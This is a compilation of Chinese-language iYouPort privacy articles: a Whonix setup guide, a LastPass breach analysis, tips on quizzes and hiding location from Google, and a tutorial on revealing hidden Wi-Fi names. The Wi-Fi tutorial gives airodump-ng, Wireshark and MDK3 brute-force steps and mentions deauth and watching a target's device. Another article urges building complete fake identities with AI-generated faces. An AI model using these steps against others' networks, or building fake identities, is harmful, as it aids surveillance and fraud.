Whonix 作为两个同时运行的虚拟机运行。最初可能感觉有点奇怪，但了解 Whonix 工作原理的基础知识会有助于整个过程。

有一个 “Gateway” Whonix 虚拟机和一个 “Workstation” Whonix 虚拟机，用作 Tor 网络的门户，还充当防火墙。

“Workstation”虚拟机是所有操作发生的地方，它受 Gateway 保护与可怕的互联网相隔离：它连接到 Gateway 虚拟机而不是直接连接到互联网……我知道，它好像有点复杂。但我们的读者中应该有 Whonix 的天才。总之您只需要知道：通过永远不将 **Workstation** 直接连接到互联网，它增加了另一层保护—超出了我们介绍过的类似其他工具（如 **Tails**）。

好啦简短概述完成，继续安装 Virtual Box。

由于 Whonix 在 Virtual Box 中运行，因此本教程适用于所有操作系统。我今天尝试在 OSX 上安装 Whonix，因为它是一个流行的操作系统，是的我无法忍受 Windows。安装 Virtual Box 后，我们就可以开始了。

第**1**步：下载 **Whonix**

导航到此页面。点击第一个标题下的“expand”。

您需要总共下载四个文件。下载两个.ova 文件，总共刚刚超过 4Gb。这些文件是两个虚拟机的基础：网关和工作站。

另外两个要下载的重要文件是.ova 的 sha512 哈希文件。

验证从互联网上下载的所有文件非常重要，尤其是当它是匿名工具时！我们将引导您完成使用这两个哈希文件进行验证的过程。

第 **2** 步：验证下载

验证下载可以通过几种不同的方式完成，具体取决于操作系统。如果您使用的是 Windows，请前往此处获取指南。如果您使用的是 Linux 发行版，那么您很可能已经知道该怎么做了。如果您使用的是 OSX，请继续阅读。# 首先打开终端。您可以通过按 Command 和 Space 来执行此操作，然后开始键入“terminal”并按 Enter 键。

- 类型 ‘ls Downloads’ 并按 Enter 键。这会将您的终端 shell 带到 Downloads 文件夹。如果您在其他任何地方下载了四个文件，则需要将“下载”替换为文件路径（/ this / format）。
- 接下来，我们需要获取’.ova’文件的哈希值。输入 ‘shasum -a 512 Whonix-Gateway-13.0.0.1.4.ova’ 并按 Enter 键。Shasum 是任务。这让我们可以指定 512 的哈希率（以匹配 Whonix 提供的）。您只记住动作就可以了。
- 接下来，选择输出，右键单击并选择“复制”。

1. 打开 ‘Finder’ 并前往 ‘Downloads’ 文件夹。

- 双击 “Whonix-Gateway-13.0.0.1.4.sha512sum” 文件。
- 使用您选择的程序打开; 转到列表底部并选择“TextEdit”。
- 接下来，点击“Command＆F”打开“查找”。然后点击’Command V’粘贴我们从终端会话中获得的哈希。它应该与文本文件中的哈希完全匹配。

对于“Workstation”文件，重复此步骤的全部内容。完成后，您将验证自己确实已经下载了未经破坏且准确的 Whonix .ova 文件。现在可以随意删除两个’.sha512sum’文件。

第 **3** 步：创建虚拟机

现在我们有了两个经过验证的.ova文件，是时候用它们来创建两个可用的虚拟机了。打开 Virtual Box 并在“文件”下单击’Import Appliance.’。

单击文件路径字段右侧的小文件夹图标，然后转到‘下载’。单击 Gateway .ova 文件并单击继续。

然后点击“导入”。

它基本上解压缩’.ova’文件。完成后，在步骤 5 中为 Workstation .ova 文件重复相同的操作。

「图」

之后，您将创建两个可用的引导虚拟机。此时，如果您的计算机上的磁盘空间不足，您可以选择删除下载中的两个.ova文件。本步骤中你不会再需要它们了。

话虽如此，如果你想从头开始重新安装，它们可能会在以后有用。由你决定吧。

第 **4** 步：启动两台虚拟机

我们上面大致讨论了 Whonix 的工作原理。两个虚拟机都需要彼此，因此当您要启动系统时，需要双击它们俩。现在双击两个，让它们开始工作。

你会看到两个盒子打开。这是两台机器，它们都会在启动时运行类似的日志。对于拥有 Linux 机器的人来说，这是一个熟悉的景象，但如果你习惯了闪亮的 OSX 启动，它可能看起来有点吓人。不要害怕—它只是在向你展示它在做什么。

加载后，您将获得以下内容：

第 **5** 步：Gateway 配置

前往您的 Gateway 机器（图中显示为左上角）。阅读后单击启动向导和警告。它们包含重要的信息。

单击网关 VM 上的“我准备启用 Tor”。其他选项很可能是不必要的，但是，如果您在中国这样的国家，点击**“Tor** 在我的区域内受到审查或危险”是一个必要的选项！

单击设置选项。建议自动更新，因为它是最安全的选项。除非您正在测试较新的不太稳定的版本，否则还建议使用稳定的存储库。

点击完成并让系统自动启动它的 Tor 连接并检查更新。

由于 Gateway 是连接到互联网的，因此它也充当防火墙。您可以根据需要单击桌面图标进行配置，但您可能不需要。

您的 Gateway 现已设置，已连接到 Tor 并准备将此连接汇集到 Workstation。

可选步骤

如果您希望了解通过 Gateway 虚拟机的数据，可以选择打开“Arm-Tor Controller”程序。

双击该图标，您将看到以下信息。

这一步不是必需的，但 Gateway 自己不会做太多其他事了，为什么不给它做点什么呢？😊

第 6 步：**Workstation** 配置

与 Gateway 虚拟机大致相同，一旦您满意，请单击警告Yes。“首次运行”设置向导将自动运行。选择从稳定存储库获取更新（为任何安全软件选择稳定的源是很重要的）。

完成“首次运行”向导后，如果一切顺利，您将在右下方看到“已连接到 Tor”通知。系统现在将在后台检查更新。

是时候点击 Tor Browser 桌面图标了。

Tor 浏览器尚未实际安装。这可能是为了保持 Whonix 下载的最小尺寸。确认您要下载浏览器，然后选择最稳定的版本。

它将使用 Tor 网络，这可能需要比你习惯的时间更长一些，所以，去弄杯咖啡吧。

下载完成后，它将运行浏览器。点击第一个链接’检查 IP’。这会将您重定向到 Tor Checker，这是您应该在 Tor 浏览器的每次启动时运行的，只是为了确认您已连接到网络。

已经完成了！你现在可以使用 Whonix 安全地匿名访问暗网了。通过将 Gateway 虚拟机用作 shell 层，您可以在 Workstation 中获得额外的保护。

Whonix 通过隔离来掩护 Workstation 虚拟机。Workstation 位于 Gateway 后面，理论上任何恶意连接尝试都只能抵达 Gateway，那里不包含任何您的信息或工作文件。你一直都在暗门后面。

⚠ 最重要的最后一个提示是，Whonix 不是粗心大意的解毒剂！人本身永远是安全系统中最薄弱的环节，因此请注意您使用此工具的方式，避免幼儿园级错误。详见我们的简要说明《使用 Tor 保护自己时

千万不要做这九件事！》

原文

完美替身 - [video] - iYouPort

自我保护措施-技术技巧以防身

IYP 介绍过制作全套假身份的方法，详见《少数派玩家》。不过这里面没有照片。照片是非常重要的，每一个真人都要有一张脸才行，否则“真”不起来。尤其是如今人脸识别遍地都是，您不可能在网上搜别人的脸贴在自己的身份信息上，那相当于转嫁危险性。

那怎么办呢？幸运的是，找到一张假脸已经非常容易。

人工智能不仅可以制作逼真的人物假视频、可以描述一个真人现实生活中从未说过的话或从未做过的事，它还可以产生令人信服的假人脸，这些人脸从未在现实中存在过。

你想要一张逼真的假脸吗？曾经做到这点需要一些超级昂贵且功能强大的硬件，但是，现在有一个网站，可以轻松实现这点：生成一个花哨的新面孔就像刷新浏览器一样简单：thispersondoesnotexist.com。每次加载页面时，算法都会从头开始生成新的人脸。

该网站使用被称为生成对抗网络（GAN）的机器学习实现。这些程序从大量的训练数据输入中“学习”—比如真实的人脸，以产生新的例子。 Thispersondoesnotexist.com使用以前由 Nvidia 研究人员在 GitHub 上发布的代码。

网站创建者和软件开发人员 Philip Wang 在一封电子邮件中说，“大多数人都不明白合成人脸图像有多么的重要。”在这里看到视频：

GAN 首先由计算机科学家 Ian Goodfellow 及其同事于2014年推出。从那时起，该技术已经变得更有能力了，现在可以以惊人的高分辨率生成高度逼真的图像。

这些技术已被用于制作人们跳舞的视频，并将夏季场景转变为冬季场境。令人沮丧的是，他们的简单可用性也导致了伪造的色情视频的大量产生，被称为“深度造假”。在这里看到相关详细分析《当恶意者掌握技术：信息战的未来究竟有多可怕？》

Wang 的网站运行在租用的服务器上，该服务器具有运行 Nvidia 软件的强大 GPU。“我每隔两秒就会做出一个随意的人脸，并以可扩展的方式向世界展示”，他说。

显然，GAN 是多功能的东西，但 Wang 说他想坚持用来它来制作面孔。“脸部对我们的认知来说最为突出，因此我决定将这种特定的预训练模型放在上面，”他在 Facebook 上说。

事实上同类的假脸生成服务正越来越多的出现。因为这个问题是紧迫的：在未来几年，我们与身份的关系将发生深刻的变化。

Generated Photos 网站也能达到同样的目的，该网站使用人工智能创建了数千张面孔。

所有这些面孔都是不存在的人。你可以随意使用这些面孔，而不会与任何活人“冲突”。

通过开放的Google云端硬盘，该网站免费提供100,000张此类照片。

该站点的目标最终是能够按需生成人脸。您可以在下面看到视频：

好啦，现在你也可以制造出一整套完美的假身份！彻底切断在线和线下的身份联系。我们一起来创造一个新的“世界”。

This Website Uses AI to Generate the Faces of People Who Don’t Exist. Thispersondoesnotexist. com serves up a new AI-generated face every time you hit refresh.

原文

密码管理器 LastPass 的主密码是如何泄露的？ - iyouport

自我保护措施-技术技巧以防身

关于密码管理器的可能风险。

- 如果您错过了《关于如何挑选密码管理器》。

许多 LastPass 用户在去年底收到了如下电子邮件，表明其他人试图登录他们的帐户：

该邮件是合法的，是由 LastPass 服务发出的。然而，据称的登录地点通常离用户的实际位置非常远，例如在巴西或印度这样的国家。然而，这不仅仅是企图猜测密码，因为只有在异地登录尝试中提供了正确的主密码时，LastPass 才会发送这样的邮件。

一位受影响的用户在 Hacker News 上创建了一个主题，至少有十几个人也加入了表明了类似的经历。这表明，一个大规模的攻击正在进行，受影响的用户总数相当可观。

作为在线密码管理器，用户的主密码是最关键的信息。因此，重要的问题是：攻击者是如何知道主密码的？主要被讨论的解释包括：凭证填充、网络钓鱼、恶意软件、LastPass 泄露。

由于作者对 LastPass 有一定的了解，于是本文将分析一下这些可能性到底有多大以及为什么。

凭证填充攻击

「图」

Hacker News 上的话题促使 AppleInsider 写下了这个问题。这篇文章引用了 LastPass 发言人的以下声明：

> LastPass 调查了最近关于登录尝试受阻的报告，我们

> 认为该活动与试图“凭证填充”有关，在这种情况下，恶意者或不良行为者试图使用从与其他无关联服务相关的第三方漏洞中获得的电子邮件地址和密码访问用户账户。

凭证填充攻击是很常见的，它依赖于密码重用：一个服务泄露的密码刚好也用于另一个服务。但是，当谈到一个以消除密码重用为全部目标的密码管理器时，密码重用是否可能？由于 LastPass 有淡化安全问题的历史，我们应该对他们的声明持谨慎态度。

几个受影响的 Hacker News 用户声称（我相信他们），他们的主密码没有在任何地方被重复使用。更糟糕的是，一些用户报告说，他们在收到这个通知后就立刻改变了主密码，但不久后又收到了用新的主密码异地登录的通知。

如果是真的（我没有什么理由怀疑这种说法），这就完全排除了凭证填充作为这里的攻击媒介的可能性。

然后 LastPass 发表了一份扩大的声明，它也声称凭证填充是问题的根源，但有一个重要的补充：

> 我们的调查后来发现，其中一些安全警报是发给 LastPass 有限的子集用户的，可能是错误触发的。

这似乎表明，这些电子邮件信息是由使用错误密码的登录尝试错误地触发的。这将是一个好消息，使这篇文章的其余部分变得过时。但是，请注意他们在这里说的“可能”。如果他们发现并修复了电子邮件通知机制中的一个错误，他们为什么不直接说明？不幸的是，这种声明听起来像是他们仍然不知道发生了什么事，但还是想安抚群众。

钓鱼

「图」

网络钓鱼，作为另一种可能的解释被提及，由于同样的原因，是相当不可能的。这里的疑点是，用户被引诱到一个假的 LastPass 登录页面，并在那里输入他们的主密码。虽然这也是一种常见的攻击形式，但它无法解释为什么在更改主密码后继续出现同样的现象。

此外，几个受影响的 LastPass 账户至少有一年没有使用了。这意味着，在这种情况下，网络钓鱼攻击肯定至少发生在一年前。然而，任

何通过网络钓鱼攻击收集密码的人都会试图尽快使用这些密码。他们等待的时间越长，用户就越有可能认识到自己的错误并更改密码。

恶意软件

「图」

由于攻击者似乎对变化有反应，一些人得出结论，他们确实被盯上了。可能是一个恶意的（或严重脆弱的）浏览器扩展或一个独立的应用程序损害了整个系统。这至少解释了攻击者如何在用户更改后获得了新的主密码。

然而，这一理论也是不太可能的，原因是多方面的。首先，恶意软件提供的访问级别使黑客攻击 LastPass 账户变得没有必要。如果它能拦截或提取 LastPass 的主密码，它也能对所有其他密码做同样的事。登录 LastPass 账户只是一个额外的步骤，一个不必要地暴露了整个活动的愚蠢步骤。

同样值得注意的是，这里的攻击被基于地理位置的基本保护所挫败。为什么控制用户的浏览器或整个系统的攻击者要进入这个陷阱？他们完全可以从用户自己的浏览器登录 LastPass。更好的是：他们可以劫持现有的 LastPass 会话。

最后，还有一个时间问题。恶意软件只有在密码被使用时才能窃取密码。然而，一些受影响的账户已经被放弃了，最后一次使用是在一年多以前。攻击者是否在很长一段时间内收集凭证并做了充分准备？看起来不是这样。这些攻击并不复杂，否则他们也不会试图从巴西登录美国用户的账户。有了真正的准备，他们就不会反复地违背这种地理保护。

LastPass 自身泄露

「图」

于是这就只剩下 LastPass 本身被泄露的可能性了。但这个可能性也引起了一些问题：甚至 LastPass 的服务器都不应该知道用户的主密码。主密码只以散列方式传输，这种方式很难逆转。

最初的怀疑是，有人滥用了2018年的这篇文章中描述的漏洞。允许 websiteBackgroundScript.php 被任何网站加载的问题。而破解仅用5000次 PBKDF2 迭代的主密码（2018年之前的 LastPass 默认）是完

全可能的。然而，这个选项被排除了，因为用户也报告了全新的账户、以及最近更改的主密码，都受到了影响。

新的默认值（100,000次迭代）使得从哈希值中恢复主密码需要相当多的资源，对于不成熟的攻击者来说，即使在另一个类似的数据泄漏的情况下，也无法完成这样的大规模攻击。但这是在假设 LastPass 的服务器事实上不知道您的主密码的情况下。

LastPass 的用户经常会在 lastpass.com 上托管的网页中输入自己的主密码，即使在使用浏览器扩展时也是如此。这是一个设计缺陷，因为没有真正的方法来验证密码是否从未被发送出去过。例如，一些日志功能有可能无意中把明文密码发送到服务器上。由于 log4j 的漏洞现在正被积极利用，有人可能已经破坏了接收这些数据的服务器。2021–12–31，LastPass 与作者联系，表示（除其他外）他们没有在任何地方使用log4j。

作者试着通过网页界面登录 LastPass，没有看到任何意外的数据被传输。当然，这并不能证明什么，因为一些其他形式可能是这里的罪魁祸首。或者这个功能可能只对特定国家用户启用。但也有另一种解释，一个不需要 LastPass 知道未哈希的主密码的解释。

哈希传递攻击

「图」

事实上，攻击者知道主密码是不可能的。这是因为 LastPass 认证（与适当的PAKE协议不同）容易受到哈希传递攻击。每次登录都使用相同的主密码哈希值，所以攻击者可能使用该哈希值而不是主密码本身。而从 LastPass 服务器上提取该哈希值应该比获得未哈希的主密码要容易得多。

因此，人们可以只使用主密码哈希值来登录，然后呢？一旦登录，攻击者可以下载 https://lastpass.com/getaccts.php，其中包含所有账户的数据。这给了他们网站的地址，但如果不知道主密码，就无法解密相应的用户名和密码。

然而，这并不意味着这种攻击毫无价值。一旦攻击者得到了这些数据，他们就可以永远在本地破解主密码。他们甚至可以将持有密码的账户优先用于更有价值的网站。所以这很可能就是这里发生的事。〇

How did LastPass master passwords get compromised?

原文

小心社交媒体上的所有小测试和问答游戏 - iYouPort

自我保护措施-技术技巧以防身

我们曾经警告过社交媒体上的“伪心理学测试”，它早已成为人格数据分析——偷窥者的盛宴。因为人们想要一个“正确的”测试结果，于是在回答那些问题的时候会尽可能地诚实。就如你想了解一件事，通过搜索引擎，你就不会对它撒谎。而搜索引擎数据正是监控者的最爱。

此外还要警惕一切社交媒体网站上询问您的私密问题，你不可能知道他们会用这些答案来做什么。比如有些网站会问“你的第一个宠物的名字是什么？”或“你长大的街道名是什么？”等问题。警惕这些除了你之外没人能回答的问题。

电子设备会给人一种“别人看不到我”的假性安全感，其实它是最不安全的东西，如果你不能时刻保持警惕、充分利用加密技术保护自己，就相当于在大街上裸奔。

社交媒体网站上充斥着这些看似无害的小测验、游戏和调查，催促人们回忆特定的话题，参与这些非正式调查的问题在于，你很可能会无意中泄漏秘密问题的答案，这些答案是可以用于解锁您的在线身份和帐户的。

这种窥视手段其实是社交工程学的一个惯用伎俩（social engineering）：把真正关键的提问目的埋在一大堆看起来无关紧要的问题中，你往往在放低戒备后就很容易中招了。情报部门工作人员也很擅长这手，他们都经过高级的心理学培训，非不得已要和他们打交道时，切勿疏忽！

原文

当您不得不使用谷歌服务时，如何隐藏您的确切位置 - iyouport

自我保护措施-技术技巧以防身

被谷歌读取位置不仅涉及隐私问题，而且还涉及算法对您能看到什么样的内容的过滤

每当您使用谷歌服务或访问一个网站时，您都可能会发送您的位置数据。这很可能会影响您的搜索结果并损害您的隐私。本文将解释您如何不自觉地分享了您的位置数据，为什么这可能是不可取的，以及您可以做些什么以保护自己。

我们谈论的是什么样的位置数据？

打开 Google.com 并输入以下内容：“我在哪里”。您很可能会看到类似下面这样的地图。您看到的地图是否与您目前的确切位置相符，这取决于许多事。谷歌使用您的设备位置、您标记过的地方、位置历史、活动历史和您的互联网连接的IP地址，来推断您的位置。我们将在下面仔细看看这些位置服务。

1、您的设备位置

您可以在电脑、笔记本和手机上设置您的设备的位置权限。通过这些设置，您可以选择是否允许站点读取您的当前位置。如果您允许分享您的位置，那么您的准确位置将经常被使用。您的确切位置是如何被发现的？例如，通过您的设备附近的WiFi网络。

2、您标记的地方

“标记的地方” 功能意味着，如果您通过谷歌登录，您可以在地图上标记地方。例如，您是否输入了您的住处或工作单位的地址？然后，如果您可能在这些地方附近，谷歌可以尝试估计您的位置。

3、您的位置历史

“位置历史” 功能意味着谷歌可以使用您已登录的设备的位置来估计您当前的位置。在谷歌使用您的位置历史记录之前，您必须首先登录到您的谷歌账户。

4、您的活动历史

谷歌通过两种方式利用您过去的活动来确定您的位置。首先，如果您登录了，谷歌会跟踪您的所有搜索。通过谷歌仪表盘，您可以看到自己以前的活动。其次，即使您没有登录，谷歌也会跟踪您的活动。例如通过cookies完成。

5、您的**IP**地址

如果您在家里通过互联网访问一个网站，您从您的互联网服务提供商那里得到的IP地址对您正在访问的网站（服务器）是可见的。由于IP地址大致上是基于地理位置的（虽然从来没有确切的），谷歌可以根据IP地址来映射您的位置。虽然这永远不会是您的确切位置，但谷歌将看到您目前位于哪个国家，可能是哪个地区。

共享位置数据会带来什么危害？

共享位置数据可能是危险的，原因有2个。首先，位置数据会损害您的隐私（因此也会损害您的安全）。第二，位置数据可以确保您的搜索结果不是 “干净” 的，而是基于您的位置而被算法过滤的。下面我们将更详细地讨论这个问题。

位置数据与隐私

通过发送您的位置数据，您使用的服务可以确定您的（大致）位置。这意味着，例如，您访问的搜索引擎知道您目前在哪里。而这可能是，例如，您的家庭地址或您的工作地点。于是重要的是，您要改变您的位置设置和权限。您可以在下面阅读更多相关内容。

位置数据和搜索

您可能已经注意到，谷歌向您显示的结果与您搜索的内容相符。这是因为谷歌的算法结构是这样的：显示的结果尽可能地与您相关。一方面，搜索引擎优化（SEO）和搜索引擎广告（SEA）发挥了作用，但另一方面，还有诸如您自己的搜索历史、语言设置、您的**IP**地址和您的位置数据，都在影响您能看到什么。

这很容易做到：如果谷歌知道您正在寻找来自阿姆斯特丹的自行车维

修店，谷歌将在搜索结果中主要显示来自阿姆斯特丹的自行车维修店。毕竟，这些自行车维修店可能是与您最相关的。然而，这可能是不可取的。您可能根本就不是在寻找来自阿姆斯特丹的自行车维修店。这也适用于您的研究：您肯定希望看到“干净”的搜索结果。

隐藏您的位置

现在您知道谷歌如何确定您的位置了，以及为什么这可能是不可取的。下面我们讨论8个技巧，这些技巧对防止您的确切位置被谷歌和第三方分享是有用的。

提示**1**：隐藏您的设备位置

为了防止谷歌确定您的确切位置，设置您设备的位置权限可能会有点用。在 Mozilla Firefox 网络浏览器中，您可以按以下方式进行。

第1步：点击屏幕右上方的菜单，选择“设置”

第2步：首先点击“隐私和安全”标签，然后点击“位置”旁边的“设置”。

第三步：勾选“阻止访问您的位置的新请求”选项，然后点击“保存更改”。如果现在有网站请求访问您的设备的位置数据，这个请求将自动被拒绝。这确保您不再与第三方分享您设备的位置数据。

提示**2**：不要登录到谷歌

确保您没有登录到谷歌。一方面，这可以防止谷歌根据您标注的地方找到您的位置，另一方面，也可以防止谷歌根据您以前的活动绘制您的位置图。

提示**3**：选择退出基于您过去活动的搜索功能

进入 https://www.google.com/history/optout，取消勾选“使用您注销时记录的搜索活动”选项。这可以防止谷歌根据以前的活动绘制您的位置图，例如您以前的搜索历史记录。

提示**4**：改变您的跟踪设置

网站可以通过社交媒体追踪器、cookies 和指纹识别追踪您在互联网上的行为。为了确保您不被或少被跟踪，可以通过浏览器设置来阻止上述跟踪器和其他恶意脚本。以下是火狐浏览器的设置。

提示5：改变您的 **cookie** 设置

通过您的网络浏览器的隐私设置，设定在您关闭网站时自动清理 cookies。下面可以看到 Mozilla Firefox 网络浏览器的设置，通过菜单中的 “设置” 选项和 “隐私与安全” 标签找到。

提示6：隐藏您的**IP**地址

为了确保您的位置不能根据您的IP地址被映射出来，您将需要隐藏您的IP地址。不幸的是，在不共享IP地址的情况下访问网站是不可能的，但您可以选择使用代理服务器、VPN服务器或TOR浏览器。例如，如果您使用VPN，VPN服务器的IP地址将对您访问的网站可见。请考虑在您的调查中，使用代理服务器、VPN或TOR浏览器是否可取。

提示7：使用浏览器扩展，如 **NoScript**

您想防止网络浏览器执行网站上活跃的恶意脚本吗？那么就使用例如浏览器扩展 NoScript。请记住，使用这个扩展可能会导致网站停止工作或无法正常工作。这个扩展也可能阻止网站功能所需的 “正常” 脚本。

提示8：结合上述

为了确保您不再分享自己的位置，结合上述提示是有用的。例如，您是否只使用了VPN服务器，而没有设置设备的位置权限？那么谷歌仍然可以根据例如位于您所在地区的Wi-Fi网络，找到您的位置。

所以，重要的是将上述提示结合起来使用。○

Hide your exact location

原文

您周围到处都是隐藏的Wi-Fi网络 — 一些简单的攻击就可以找到它们 - iyouport

hacktivist自我保护措施-技术技巧以防身

隐藏网络名并不是真正好的安全做法。因为人们不仅可以看到它的存在，而且还可以轻松地提取名称

在您周围有一些隐藏的Wi-Fi网络—— 这些网络永远不会显示在您的手机或电脑可以看到的热点列表中 —— 但它们比向任何附近设备广播其名称的常规网络更安全吗？

简短的答案是否定的，这可能是出于任何原因。

「图」

隐藏的网络实际上与常规的Wi-Fi网络一样；只是它们不会在常规网络发送的信标帧中广播它们的名字(ESSID)。如果不包含名称，您的手机或电脑仅仅通过扫描附近的热点加入就永远也找不到它。要加入一个隐藏的网络，您需要先知道它的名字，有一些攻击可以达到这个目的。

要发现您所在区域的隐藏Wi-Fi网络，并不需要复杂、疯狂的攻击，几乎任何能在电脑上工作的人都能找到一个。您不需要是黑客、渗透测试专家、网络安全专业人员，或者拥有其他类型花哨网络技能的人。

发现隐藏网络的方法

「图」

方法有多种。例如，您可以监视一个曾经连接过隐藏网络的人的手机、电脑或其他设备，因为他们的设备会用纯文本“喊出”网络的名称。这是因为设备永远不知道自己什么时候在物理上接近该网络，因为该网络并没有宣布它的存在，所以设备一直在寻找它。

您也可以对当前连接到隐藏网络的人进行解除身份验证攻击 deauth，然后，当它们试图重新连接到热点的时候，您就可以截获网络名。不管是这种方式还是上面的方式，您都可以使用 airodump 和 Wireshark 来获取名称，您很快就会看到具体做法。

本文将展示的是另一种方案，用MDK3攻击网络，并通过词典暴力获取名称。要做到这点，您需要有一台电脑，Arduino IDE，Wireshark，以及一个无线网卡或可以进入监控模式的适配器。

其中一个这样的适配器是 Alfa AWUS036NEH（29.99美元）；其他可能的选择包括 Alfa AWUS036NHA（35.99美元）、TP-Link Nano（14.99美元）、Alfa AWUS036NH（49.99美元）、Panda PAU05（19.99美元）和 Alfa AWUS036ACH（59.99美元）。

您还需要一个隐藏的网络来进行攻击。一个简单的方法是自己创建一个，很好的方法是使用 D1 Mini 和 Arduino IDE。这里是相关指南。

步骤1: 在 D1 Mini 上创建一个隐藏网络（可选）

「图」

假设您还没有一个隐藏的网络可以猎取，所以首先用D1 Mini 和 Arduino IDE 创建一个网络。

将 D1 Mini 连接到电脑上，然后在 Arduino IDE 中打开 “WiFiAccessPoint” 示例草图。您可以通过 File -」 Examples -」 ESP8266WiFi -」 WiFiAccessPoint 找到这个草图。

「图」

这个草图非常好，只需要进行一点小的修改就可以创建一个隐藏的网络。由于该示例草图用于创建可见的访问点，因此您需要对其进行一些调整。转到脚本中的这一行：

```
WiFi.softAP(ssid, password);
```

然后把它改成：

```
WiFi.softAP(ssid, password, 1, 1);
```

第一个 “1” 将其设置为通道1，而第二个 “1” 则表示它是一个隐藏网络。完整的草图现在应如下所示：

/* Copyright (c) 2015, Majenko Technologies All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * * Neither the name of Majenko Technologies nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Create a WiFi access point and provide a web server on it. */ #include 「ESP8266WiFi.h」 #include 「WiFiClient.h」 #include 「ESP8266WebServer.h」 #ifndef APSSID #define APSSID "ESPap" #define APPSK "thereisnospoon" #endif /* Set these to your desired credentials. */ const char *ssid = APSSID; const char *password = APPSK; ESP8266WebServer server(80); /* Just a little test message. Go to

```
http://192.168.4.1 in a web browser connected to
this access point to see it. */ void handleRoot()
{ server.send(200, "text/html", "「h1」You are
connected「/h1」"); } void setup() { delay(1000);
Serial.begin(115200); Serial.println();
Serial.print("Configuring access point..."); /*
You can remove the password parameter if you want
the AP to be open. */ WiFi.softAP(ssid, password,
1, 1); IPAddress myIP = WiFi.softAPIP();
Serial.print("AP IP address: ");
Serial.println(myIP); server.on("/", handleRoot);
server.begin(); Serial.println("HTTP server
started"); } void loop() { server.handleClient();
}
```

现在，点击 “上传” 按钮以编译草图并将其存入 D1 Mini。完成后，您的 D1 Mini 现在应该广播一个隐藏的访问点，其名称为 “ESPap”，密码为 “thereisnospoon”，如示例所示。

步骤2：将设备连接到新的隐藏网络

「图」

要想看到一个设备猎取隐藏的网络，先用手机或其他设备使用默认名（ESPap）和密码（thereisnospoon）连接到它。然后，将其从网络中断开。将无线适配器置于监控模式，并在通道1上进行快速扫描后，应该能够尝试自动连接设备，稍后还可以进行更多连接。

步骤3：将无线适配器置于监控模式

「图」

把您的Wi-Fi卡或适配器置于监听模式下，可以让您监听不仅限于电脑的无线流量。不用担心，它只会专注于您查看的内容，因此监听模式对于这种攻击的工作很重要。这里将假设您知道如何做到这一点，如果您还不知道，请查看这里关于启用监听模式的完整指南。

步骤4：扫描通道1的流量

「图」

当卡处于监听模式下，现在是时候去看下我们要监听的频道了，在这里是频道1，包括在上面的示例草图。这将极大地缩小您的搜索范围。要做到这一点，只要在终端窗口中使用：

```
~$ sudo airodump-ng CARDNAME -c 1

[sudo] password:
```

Airodump 应该开始扫描了，如果您的手机已经打开，并试图找到隐藏的网络，您应该看到它正疯狂地试图连接到该网络。它可能看起来像许多不同的设备，但实际上只是一个设备，它的MAC地址是随机的。

在实际操作中，您可以用 airodump 开始扫描，等待目标人回家、进入工作状态，或者其他一些场景，他们的设备会自动开始猎取附近他们之前加入的隐藏网络，并连接到它。如果房间里没有其他设备之前连接过隐藏AP，那么目标设备是很明显的，但如果目标设备上保存了很多网络，就会有点棘手。

找到您的隐藏网络后，复制网络设备的MAC地址，然后关闭手机或禁用手机上的Wi-Fi。

步骤5：打开Wireshark

「图」

现在是时候开始监听流量了。打开 Wireshark：

```
~$ sudo wireshark [sudo] password:
```

它应该在正确的信道上捕获数据包，但请确保首先选择处于监控模式的同一无线网络适配器。然后，使用下面的过滤器将流量缩小到只有该隐藏网络：

```
wlan.ta == HIDDEN-MAC-ADDRESS
```

这个 Wireshark 过滤器应该显示来自该隐藏网络的所有传输。

「图」

在此您应该看到很多详细信息，包括SSID，它应该是一堆零：

```
SSID=\000\000\000\000\000
```

所以，即使这个AP没有名字，但它仍然需要传输它连接到的详细细节，只是掩盖了SSID。

如果您用类似 Wigle WiFi 这样的东西来扫描网络，它同样会记录下来，这就是为什么连MAC地址都会是可以地理定位的东西，以后可以在 Wigle WiFi 这样的服务上找到。

步骤6：再次开启手机

「图」

为了找到这个隐藏网络的名称，把之前连接到该网络的手机或其他设备重新打开，确保设备的Wi-Fi已启用。一旦准备好开始猎取网络，它就会强制探测响应。这基本上是一个包含网络名称的数据包，因为它是必要的，以形成两者将用于连接的密钥。

然后您应该在 Wireshark 中看到显示SSID名称 “ESPap” 的行。正如您所看到的，没有办法让它完全保密。

「图」

第7步：使用MDK3

「图」

另一种查找SSID的方法是使用一个叫MDK3的工具，它可以通过暴力攻击来找出网络的名称。要做到这一点，需要一个很好的暴力词表。在此处的测试中只用下面的 “commonssids” 词表。将其下载到您的桌面上：

```
https://gist.githubusercontent.com/jgamblin/
da795e571fb5f91f9e86a27f2c2f626f/
raw/0e5e53b97e372a21cb20513d5064fde11aed844c/
commonssids.txt
```

然后，在新的终端窗口中，可以移至桌面并 **cat** 该文件以查看其列出的所有常用网络名称：

```
~$ cd Desktop ~$/Desktop$ cat commonssids.txt ssid
```

```
xfinitywifi linksys 「no ssid」 BTWiFi-with-FON
NETGEAR Ziggo dlink BTWifi-X default FreeWifi
hpsetup UPC Wi-Free optimumwifi FreeWifi_secure
AndroidAP eduroam BTWIFI TELENETHOMESPOT cablewifi
...
```

